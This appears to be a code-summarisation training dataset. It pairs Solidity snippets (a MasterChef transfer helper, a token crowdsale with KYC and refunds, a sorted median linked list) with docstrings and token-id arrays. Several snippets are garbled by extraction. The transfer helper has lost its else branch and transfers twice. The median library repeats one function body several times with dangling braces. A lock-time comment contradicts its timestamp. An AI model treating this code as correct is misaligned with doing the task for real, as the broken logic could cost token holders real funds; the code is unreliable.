0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1624,
1653,
49,
1345,
353,
1624,
73,
1303,
6187,
1359,
23091,
1345,
288,
203,
565,
533,
1071,
5381,
508,
273,
315,
61,
73,
1303,
9458,
1359,
17766,
14432,
203,
565,
533,
1071,
5381,
3273,
273,
315,
61,
5236,
14432,
203,
565,
2254,
1578,
1071,
5381,
15105,
273,
6549,
31,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0x9b274D0bc30d99dDd4Ab9943A488B3Ad0E81339d/sources/MasterChef.sol | Safe ftg transfer function, just in case if rounding error causes pool to not have enough PLTs. | function safeFtgTransfer(address _to, uint256 _amount) internal {
uint256 ftgBal = ftg.balanceOf(address(this));
if (_amount > ftgBal) {
ftg.transfer(_to, ftgBal);
ftg.transfer(_to, _amount);
}
}
| 11,298,897 | [
1,
9890,
11038,
75,
7412,
445,
16,
2537,
316,
648,
309,
13885,
555,
14119,
2845,
358,
486,
1240,
7304,
453,
12050,
87,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4183,
42,
88,
75,
5912,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
2713,
288,
203,
3639,
2254,
5034,
11038,
75,
38,
287,
273,
11038,
75,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
309,
261,
67,
8949,
405,
11038,
75,
38,
287,
13,
288,
203,
5411,
11038,
75,
18,
13866,
24899,
869,
16,
11038,
75,
38,
287,
1769,
203,
5411,
11038,
75,
18,
13866,
24899,
869,
16,
389,
8949,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract KYCCrowdsale is Ownable{
bool public isKYCRequired = false;
mapping (bytes32 => address) public whiteListed;
function enableKYC() external onlyOwner {
require(!isKYCRequired); // kyc is not enabled
isKYCRequired = true;
}
function disableKYC() external onlyOwner {
require(isKYCRequired); // kyc is enabled
isKYCRequired = false;
}
//TODO: handle single address can be whiteListed multiple time using unique signed hashes
function isWhitelistedAddress(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public returns (bool){
assert( whiteListed[hash] == address(0x0)); // verify hash is unique
require(owner == ecrecover(hash, v, r, s));
whiteListed[hash] = msg.sender;
return true;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale is Pausable, KYCCrowdsale{
using SafeMath for uint256;
// The token interface
ERC20 public token;
// The address of token holder that allowed allowance to contract
address public tokenWallet;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// token rate in wei
uint256 public rate;
uint256 public roundOneRate;
uint256 public roundTwoRate;
uint256 public defaultBonussRate;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public tokensSold;
uint256 public constant forSale = 16250000;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
* @param releaseTime tokens unlock time
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 releaseTime);
/**
* event upon endTime updated
*/
event EndTimeUpdated();
/**
* EQUI token price updated
*/
event EQUIPriceUpdated(uint256 oldPrice, uint256 newPrice);
/**
* event for token releasing
* @param holder who is releasing his tokens
*/
event TokenReleased(address indexed holder, uint256 amount);
constructor() public
{
owner = 0xe46d0049D4a4642bC875164bd9293a05dBa523f1;
startTime = now;
endTime = 1527811199; //GMT: Thursday, May 31, 2018 11:59:59 PM
rate = 500000000000000; // 1 Token price: 0.0005 Ether == $0.35 @ Ether prie $700
roundOneRate = (rate.mul(6)).div(10); // price at 40% discount
roundTwoRate = (rate.mul(65)).div(100); // price at 35% discount
defaultBonussRate = (rate.mul(8)).div(10); // price at 20% discount
wallet = 0xccB84A750f386bf5A4FC8C29611ad59057968605;
token = ERC20(0x1b0cD7c0DC07418296585313a816e0Cb953DEa96);
tokenWallet = 0x4AA48F9cF25eB7d2c425780653c321cfaC458FA4;
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable whenNotPaused {
require(beneficiary != address(0));
validPurchase();
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
deposited[msg.sender] = deposited[msg.sender].add(weiAmount);
updateRoundLimits(tokens);
uint256 lockedFor = assignTokens(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens, lockedFor);
forwardFunds();
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
uint256 public roundOneLimit = 9500000 ether;
uint256 public roundTwoLimit = 6750000 ether;
function updateRoundLimits(uint256 _amount) private {
if (roundOneLimit > 0){
if(roundOneLimit > _amount){
roundOneLimit = roundOneLimit.sub(_amount);
return;
} else {
_amount = _amount.sub(roundOneLimit);
roundOneLimit = 0;
}
}
roundTwoLimit = roundTwoLimit.sub(_amount);
}
function getTokenAmount(uint256 weiAmount) public view returns(uint256) {
uint256 buffer = 0;
uint256 tokens = 0;
if(weiAmount < 1 ether)
// 20% disount = $0.28 EQUI Price , default category
// 1 ETH = 2400 EQUI
return (weiAmount.div(defaultBonussRate)).mul(1 ether);
else if(weiAmount >= 1 ether) {
if(roundOneLimit > 0){
uint256 amount = roundOneRate * roundOneLimit;
if (weiAmount > amount){
buffer = weiAmount - amount;
tokens = (amount.div(roundOneRate)).mul(1 ether);
}else{
// 40% disount = $0.21 EQUI Price , round one bonuss category
// 1 ETH = 3333
return (weiAmount.div(roundOneRate)).mul(1 ether);
}
}
if(buffer > 0){
uint256 roundTwo = (buffer.div(roundTwoRate)).mul(1 ether);
return tokens + roundTwo;
}
return (weiAmount.div(roundTwoRate)).mul(1 ether);
}
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view {
require(msg.value != 0);
require(remainingTokens() > 0,"contract doesn't have tokens");
require(now >= startTime && now <= endTime);
}
function updateEndTime(uint256 newTime) onlyOwner external {
require(newTime > startTime);
endTime = newTime;
emit EndTimeUpdated();
}
function updateEQUIPrice(uint256 weiAmount) onlyOwner external {
require(weiAmount > 0);
assert((1 ether) % weiAmount == 0);
emit EQUIPriceUpdated(rate, weiAmount);
rate = weiAmount;
roundOneRate = (rate.mul(6)).div(10); // price at 40% discount
roundTwoRate = (rate.mul(65)).div(100); // price at 35% discount
defaultBonussRate = (rate.mul(8)).div(10); // price at 20% discount
}
mapping(address => uint256) balances;
mapping(address => uint256) internal deposited;
struct account{
uint256[] releaseTime;
mapping(uint256 => uint256) balance;
}
mapping(address => account) ledger;
function assignTokens(address beneficiary, uint256 amount) private returns(uint256 lockedFor){
lockedFor = 1526278800; //September 30, 2018 11:59:59 PM
balances[beneficiary] = balances[beneficiary].add(amount);
ledger[beneficiary].releaseTime.push(lockedFor);
ledger[beneficiary].balance[lockedFor] = amount;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function unlockedBalance(address _owner) public view returns (uint256 amount) {
for(uint256 i = 0 ; i < ledger[_owner].releaseTime.length; i++){
uint256 time = ledger[_owner].releaseTime[i];
if(now >= time) amount += ledger[_owner].balance[time];
}
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function releaseEQUITokens(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public whenNotPaused {
require(balances[msg.sender] > 0);
uint256 amount = 0;
for(uint8 i = 0 ; i < ledger[msg.sender].releaseTime.length; i++){
uint256 time = ledger[msg.sender].releaseTime[i];
if(now >= time && ledger[msg.sender].balance[time] > 0){
amount = ledger[msg.sender].balance[time];
ledger[msg.sender].balance[time] = 0;
continue;
}
}
if(amount <= 0 || balances[msg.sender] < amount){
revert();
}
if(isKYCRequired){
require(isWhitelistedAddress(hash, v, r, s));
balances[msg.sender] = balances[msg.sender].sub(amount);
if(!token.transferFrom(tokenWallet,msg.sender,amount)){
revert();
}
emit TokenReleased(msg.sender,amount);
} else {
balances[msg.sender] = balances[msg.sender].sub(amount);
if(!token.transferFrom(tokenWallet,msg.sender,amount)){
revert();
}
emit TokenReleased(msg.sender,amount);
}
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens left in the allowance
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
}
/**
* @title RefundVault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Supports refunding the money if crowdsale fails,
* and forwarding it if crowdsale is successful.
*/
contract Refundable is Crowdsale {
uint256 public available;
bool public refunding = false;
event RefundStatusUpdated();
event Deposited();
event Withdraw(uint256 _amount);
event Refunded(address indexed beneficiary, uint256 weiAmount);
function deposit() onlyOwner public payable {
available = available.add(msg.value);
emit Deposited();
}
function tweakRefundStatus() onlyOwner public {
refunding = !refunding;
emit RefundStatusUpdated();
}
function refund() public {
require(refunding);
uint256 depositedValue = deposited[msg.sender];
deposited[msg.sender] = 0;
msg.sender.transfer(depositedValue);
emit Refunded(msg.sender, depositedValue);
}
function withDrawBack() onlyOwner public{
owner.transfer(this.balance);
}
function Contractbalance() view external returns( uint256){
return this.balance;
}
} | * @title RefundVault @dev This contract is used for storing funds while a crowdsale is in progress. Supports refunding the money if crowdsale fails, and forwarding it if crowdsale is successful./ | contract Refundable is Crowdsale {
uint256 public available;
bool public refunding = false;
event RefundStatusUpdated();
event Deposited();
event Withdraw(uint256 _amount);
event Refunded(address indexed beneficiary, uint256 weiAmount);
function deposit() onlyOwner public payable {
available = available.add(msg.value);
emit Deposited();
}
function tweakRefundStatus() onlyOwner public {
refunding = !refunding;
emit RefundStatusUpdated();
}
function refund() public {
require(refunding);
uint256 depositedValue = deposited[msg.sender];
deposited[msg.sender] = 0;
msg.sender.transfer(depositedValue);
emit Refunded(msg.sender, depositedValue);
}
function withDrawBack() onlyOwner public{
owner.transfer(this.balance);
}
function Contractbalance() view external returns( uint256){
return this.balance;
}
} | 1,044,683 | [
1,
21537,
12003,
225,
1220,
6835,
353,
1399,
364,
15729,
284,
19156,
1323,
279,
276,
492,
2377,
5349,
353,
316,
4007,
18,
25110,
1278,
14351,
326,
15601,
309,
276,
492,
2377,
5349,
6684,
16,
471,
20635,
518,
309,
276,
492,
2377,
5349,
353,
6873,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
3941,
1074,
429,
353,
385,
492,
2377,
5349,
288,
203,
203,
225,
2254,
5034,
1071,
2319,
31,
7010,
225,
1426,
1071,
1278,
14351,
273,
629,
31,
203,
203,
225,
871,
3941,
1074,
1482,
7381,
5621,
203,
225,
871,
4019,
538,
16261,
5621,
203,
225,
871,
3423,
9446,
12,
11890,
5034,
389,
8949,
1769,
203,
225,
871,
3941,
12254,
12,
2867,
8808,
27641,
74,
14463,
814,
16,
2254,
5034,
732,
77,
6275,
1769,
203,
21281,
225,
445,
443,
1724,
1435,
1338,
5541,
1071,
8843,
429,
288,
203,
565,
2319,
273,
2319,
18,
1289,
12,
3576,
18,
1132,
1769,
203,
565,
3626,
4019,
538,
16261,
5621,
203,
225,
289,
203,
203,
225,
445,
21279,
21537,
1482,
1435,
1338,
5541,
1071,
288,
203,
565,
1278,
14351,
273,
401,
1734,
14351,
31,
203,
565,
3626,
3941,
1074,
1482,
7381,
5621,
203,
225,
289,
203,
203,
21281,
225,
445,
16255,
1435,
1071,
288,
203,
565,
2583,
12,
1734,
14351,
1769,
203,
565,
2254,
5034,
443,
1724,
329,
620,
273,
443,
1724,
329,
63,
3576,
18,
15330,
15533,
203,
565,
443,
1724,
329,
63,
3576,
18,
15330,
65,
273,
374,
31,
203,
565,
1234,
18,
15330,
18,
13866,
12,
323,
1724,
329,
620,
1769,
203,
565,
3626,
3941,
12254,
12,
3576,
18,
15330,
16,
443,
1724,
329,
620,
1769,
203,
225,
289,
203,
21281,
225,
445,
598,
6493,
2711,
1435,
1338,
5541,
1071,
95,
203,
1377,
3410,
18,
13866,
12,
2211,
18,
12296,
1769,
203,
225,
289,
203,
21281,
225,
445,
13456,
12296,
1435,
1476,
3903,
1135,
12,
2254,
2
] |
./full_match/5/0x47a6E6772D176DB48001A966975775eea590c9CE/sources/contracts/NFTInfo.sol | Additional addresses to blacklist
| mapping(address => bool) internal blockedaddresses; | 1,853,676 | [
1,
10552,
6138,
358,
11709,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
2867,
516,
1426,
13,
2713,
14547,
13277,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/62320/0x5F234B6b82F5fF67Eeb4aB5D676c50ac9A07D009/sources/contracts/common/linkedlists/SortedLinkedListWithMedian.sol | * @title Maintains a sorted list of unsigned ints keyed by bytes32./ | library SortedLinkedListWithMedian {
using SafeMath for uint256;
using SortedLinkedList for SortedLinkedList.List;
enum MedianAction {
None,
Lesser,
Greater
}
enum MedianRelation {
Undefined,
Lesser,
Greater,
Equal
}
struct List {
SortedLinkedList.List list;
bytes32 median;
mapping(bytes32 => MedianRelation) relation;
}
function insert(
List storage list,
bytes32 key,
uint256 value,
bytes32 lesserKey,
bytes32 greaterKey
) internal {
list.list.insert(key, value, lesserKey, greaterKey);
LinkedList.Element storage element = list.list.list.elements[key];
MedianAction action = MedianAction.None;
if (list.list.list.numElements == 1) {
list.median = key;
list.relation[key] = MedianRelation.Equal;
if (element.previousKey == bytes32(0) || list.relation[element.previousKey] == MedianRelation.Lesser) {
action = MedianAction.Lesser;
list.relation[key] = MedianRelation.Lesser;
list.relation[key] = MedianRelation.Greater;
}
if (element.nextKey == bytes32(0) || list.relation[element.nextKey] == MedianRelation.Greater) {
action = MedianAction.Greater;
list.relation[key] = MedianRelation.Greater;
list.relation[key] = MedianRelation.Lesser;
}
}
updateMedian(list, action);
}
function insert(
List storage list,
bytes32 key,
uint256 value,
bytes32 lesserKey,
bytes32 greaterKey
) internal {
list.list.insert(key, value, lesserKey, greaterKey);
LinkedList.Element storage element = list.list.list.elements[key];
MedianAction action = MedianAction.None;
if (list.list.list.numElements == 1) {
list.median = key;
list.relation[key] = MedianRelation.Equal;
if (element.previousKey == bytes32(0) || list.relation[element.previousKey] == MedianRelation.Lesser) {
action = MedianAction.Lesser;
list.relation[key] = MedianRelation.Lesser;
list.relation[key] = MedianRelation.Greater;
}
if (element.nextKey == bytes32(0) || list.relation[element.nextKey] == MedianRelation.Greater) {
action = MedianAction.Greater;
list.relation[key] = MedianRelation.Greater;
list.relation[key] = MedianRelation.Lesser;
}
}
updateMedian(list, action);
}
} else if (list.list.list.numElements % 2 == 1) {
function insert(
List storage list,
bytes32 key,
uint256 value,
bytes32 lesserKey,
bytes32 greaterKey
) internal {
list.list.insert(key, value, lesserKey, greaterKey);
LinkedList.Element storage element = list.list.list.elements[key];
MedianAction action = MedianAction.None;
if (list.list.list.numElements == 1) {
list.median = key;
list.relation[key] = MedianRelation.Equal;
if (element.previousKey == bytes32(0) || list.relation[element.previousKey] == MedianRelation.Lesser) {
action = MedianAction.Lesser;
list.relation[key] = MedianRelation.Lesser;
list.relation[key] = MedianRelation.Greater;
}
if (element.nextKey == bytes32(0) || list.relation[element.nextKey] == MedianRelation.Greater) {
action = MedianAction.Greater;
list.relation[key] = MedianRelation.Greater;
list.relation[key] = MedianRelation.Lesser;
}
}
updateMedian(list, action);
}
} else {
} else {
function insert(
List storage list,
bytes32 key,
uint256 value,
bytes32 lesserKey,
bytes32 greaterKey
) internal {
list.list.insert(key, value, lesserKey, greaterKey);
LinkedList.Element storage element = list.list.list.elements[key];
MedianAction action = MedianAction.None;
if (list.list.list.numElements == 1) {
list.median = key;
list.relation[key] = MedianRelation.Equal;
if (element.previousKey == bytes32(0) || list.relation[element.previousKey] == MedianRelation.Lesser) {
action = MedianAction.Lesser;
list.relation[key] = MedianRelation.Lesser;
list.relation[key] = MedianRelation.Greater;
}
if (element.nextKey == bytes32(0) || list.relation[element.nextKey] == MedianRelation.Greater) {
action = MedianAction.Greater;
list.relation[key] = MedianRelation.Greater;
list.relation[key] = MedianRelation.Lesser;
}
}
updateMedian(list, action);
}
} else {
function remove(List storage list, bytes32 key) internal {
MedianAction action = MedianAction.None;
if (list.list.list.numElements == 0) {
list.median = bytes32(0);
if (list.relation[key] == MedianRelation.Greater || list.relation[key] == MedianRelation.Equal) {
action = MedianAction.Lesser;
}
if (list.relation[key] == MedianRelation.Lesser || list.relation[key] == MedianRelation.Equal) {
action = MedianAction.Greater;
}
}
updateMedian(list, action);
list.list.remove(key);
}
function remove(List storage list, bytes32 key) internal {
MedianAction action = MedianAction.None;
